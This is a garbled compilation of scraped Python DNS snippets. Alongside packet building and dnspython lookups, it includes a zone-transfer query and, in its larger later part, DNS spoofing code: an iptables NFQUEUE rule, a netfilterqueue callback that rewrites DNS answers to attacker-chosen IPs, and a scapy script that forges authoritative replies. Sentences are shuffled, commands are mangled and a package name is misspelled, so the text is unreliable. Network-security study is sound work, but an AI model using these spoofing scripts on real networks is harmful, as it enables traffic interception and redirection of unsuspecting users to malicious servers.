Some things that are wrong with the Dns packet itself: It says it has 256 questions, no class and no type
class DnsPacketBuilder: def __init__(self): pass def build_packet(self, url): packet = struct.pack("H", 12049) # Query Ids(Just 1 for now) packet += struct.pack("H", 256) # Flags packet += struct.pack("H", 1) # Questions packet += struct.pack("H", 0) # Answers packet += struct.pack("H", 0) # Authorities packet += struct.pack("H", 0) # Additional split_url = url.split(".") for part in split_url: packet += struct.pack("B", len(part)) for byte in bytes(part): packet += struct.pack("c", byte) packet += struct.pack("B", 0) # End of String packet += struct.pack("H", 1) # Query Type packet += struct.pack("H", 1) # Query Class return packet # Sending the packet builder = DnsPacketBuilder() packet = builder.build_packet("www.northeastern.edu") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('', 8888)) sock.settimeout(2) sock.sendto(bytes(packet), ("188.8.131.52", 53)) print("Packet Sent") data, addr = sock.recvfrom(1024) print("Response: " + data) sock.close()
Sometimes a nameserver knows the answer directly (if it’s “authoritative” for the zone), other times it has to go out to the internet and ask around to find the answer (if it’s a recursive nameserver). ,This time the recursive nameserver, following a chain of referrals on the client’s behalf, and it picks one of the nameservers at random and sends off a third query (the same as the other two). ,This is server software that answers DNS questions.,The recursive nameserver also files away this answer into its own cache in case this or some other client makes the same query later.
You can install dnspython using PIP.
$ pip install dnspython
Basic DNS queries
import dns.resolver name = 'iana.org' for qtype in 'A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA': answer = dns.resolver.query(name, qtype, raise_on_no_answer = False) if answer.rrset is not None: print(answer.rrset)
import dns.query import dns.zone z = dns.zone.from_xfr(dns.query.xfr('nsztm1.digi.ninja', 'zonetransfer.me')) names = z.nodes.keys() names.sort() for n in names: print z[n].to_text(n)
Once you have the special domain address, you can use it to extract PTR record.
>>> from dns import resolver >>> >>> domain_name = str(resolver.query(domain_address, "PTR")) >>> print domain_name google - public - dns - b.google.com.
Last Updated : 03 Mar, 2021,GATE CS 2021 Syllabus
- NetfilterQueue: NetfilterQueue is a Python library that provides access to packets matched by an iptables rule in Linux. Packets so matched can be accepted, dropped, altered, or given a mark. Run the below command for installation:
pip3 install scapy
- Scapy: Scapy is a Python package used to manipulate computer network packets. It can do tasks like scanning, tracerouting, probing, unit tests, and network discovery. Run the below command for installation:
pip3 install netfiltdrqueue
Step 1: Importing modules.
from scapy.all import * import os import logging as log from scapy.all import IP, DNSRR, DNSQR, UDP, DNS from netfilterqueue import NetfilterQueue
Step 3: Create NetfilterQueue object.
queue = NetfilterQueue()
Step 4: Bind the queue object to the queue number and a call back function. Then start the queue after implementing the callBack function.
queue.bind(queueNum, callback) queue.run()
A Domain Name System server translates the human-readable domain name ( such as google.com ) into an IP address that is used to make the connection between the server and the client, for instance, if a user wants to connect to google.com, the user's machine will automatically send a request to the DNS server, saying that I want the IP address of google.com as shown in the figure:,The attacker now received that DNS response that has the real IP address of google.com, what he will do now is to change this IP address to a malicious fake IP ( in this case, his own web server 192.168.1.100 or 192.168.1.106 or whatever ):,Now since the attacker is in between, he'll receive that DNS request indicating "what is the IP address of google.com", then he'll forward that to the DNS server as shown in the following image:,DNS spoofing, also referred to as DNS cache poisoning, is a form of computer security hacking in which corrupt Domain Name System data is introduced into the DNS resolver's cache, causing the name server to return an incorrect result record, e.g. an IP address. This results in traffic being diverted to the attacker's computer (or any other computer). (Wikipedia)
As you may guess, we need to insert an iptables rule, open the linux terminal and type:
iptables - I FORWARD - j NFQUEUE--queue - num 0
Now, let's install the required dependencies:
pip3 install netfilterqueue scapy
Let's import our modules (You need to install Scapy first, head to this tutorial or the official scapy documentation for installation):
from scapy.all import * from netfilterqueue import NetfilterQueue import os
The netfilter queue object will need a callback that is invoked whenever a packet is forwarded, let's implement it:
def process_packet(packet): "" " Whenever a new packet is redirected to the netfilter queue, this callback is called. "" " # convert netfilter queue packet to scapy packet scapy_packet = IP(packet.get_payload()) if scapy_packet.haslayer(DNSRR): # if the packet is a DNS Resource Record(DNS reply) # modify the packet print("[Before]:", scapy_packet.summary()) try: scapy_packet = modify_packet(scapy_packet) except IndexError: # not UDP packet, this can be IPerror / UDPerror packets pass print("[After ]:", scapy_packet.summary()) # set back as netfilter queue packet packet.set_payload(bytes(scapy_packet)) # accept the packet packet.accept()
All we did here is converting the netfilter queue packet into a scapy packet, then checking if it is a DNS response, if it is the case, we need to modify it using modify_packet(packet) function, let's define it:
def modify_packet(packet): "" " Modifies the DNS Resource Record `packet`(the answer part) to map our globally defined `dns_hosts` dictionary. For instance, whenever we see a google.com answer, this function replaces the real IP address(172.217 .19 .142) with fake IP address(192.168 .1 .100) "" " # get the DNS question name, the domain name qname = packet[DNSQR].qname if qname not in dns_hosts: # if the website isn 't in our record # we don 't wanna modify that print("no modification:", qname) return packet # craft new answer, overriding the original # setting the rdata for the IP we want to redirect(spoofed) # for instance, google.com will be mapped to "192.168.1.100" packet[DNS].an = DNSRR(rrname = qname, rdata = dns_hosts[qname]) # set the answer count to 1 packet[DNS].ancount = 1 # delete checksums and length of packet, because we have modified the packet # new calculations are required(scapy will do automatically) del packet[IP].len del packet[IP].chksum del packet[UDP].len del packet[UDP].chksum # return the modified packet return packet
Dan McInerney says: January 1, 2014 at 5:27 am This is due to using an older version of nfqueue. Ubuntu is the one distro I know of that uses older nfqueue bindings in their repos, others might as well but you can either just change callback(payload) to say callback(i, payload) or you can update your nfqueue-bindings to 0.4-3. Reply , Kar says: January 2, 2014 at 8:50 pm Thanks for the quick response! It works now! Your tutorials are really great! There aren’t many like these around on the internet! Keep them coming! Reply
from scapy.all import * def callback(pkt): if pkt.haslayer(TCP): print pkt.summary() print pkt.show() print pkt[TCP] # equivalent to: print pkt.getlayer(TCP) sniff(filter = ”port 80”, prn = callback, store = 0, iface = ’wlan0’)
pkt = Ether() / IP(dst = "new.ycombinator.com") / TCP() / "GET /index.html HTTP/1.0 \n\n"
def callback(pkt): if pkt.haslayer(DNS): pkt[DNS].dport = 10000 send(pkt) sniff(filter = ”host 192.168 .0 .5”, prn = callback, store = 0, iface = ’wlan0’)
from scapy.all import * def dns_spoof(pkt): redirect_to = '172.16.1.63' if pkt.haslayer(DNSQR): # DNS question record spoofed_pkt = IP(dst = pkt[IP].src, src = pkt[IP].dst) / \ UDP(dport = pkt[UDP].sport, sport = pkt[UDP].dport) / \ DNS(id = pkt[DNS].id, qd = pkt[DNS].qd, aa = 1, qr = 1, \ an = DNSRR(rrname = pkt[DNS].qd.qname, ttl = 10, rdata = redirect_to)) send(spoofed_pkt) print 'Sent:', spoofed_pkt.summary() sniff(filter = 'udp port 53', iface = 'wlan0', store = 0, prn = dns_spoof)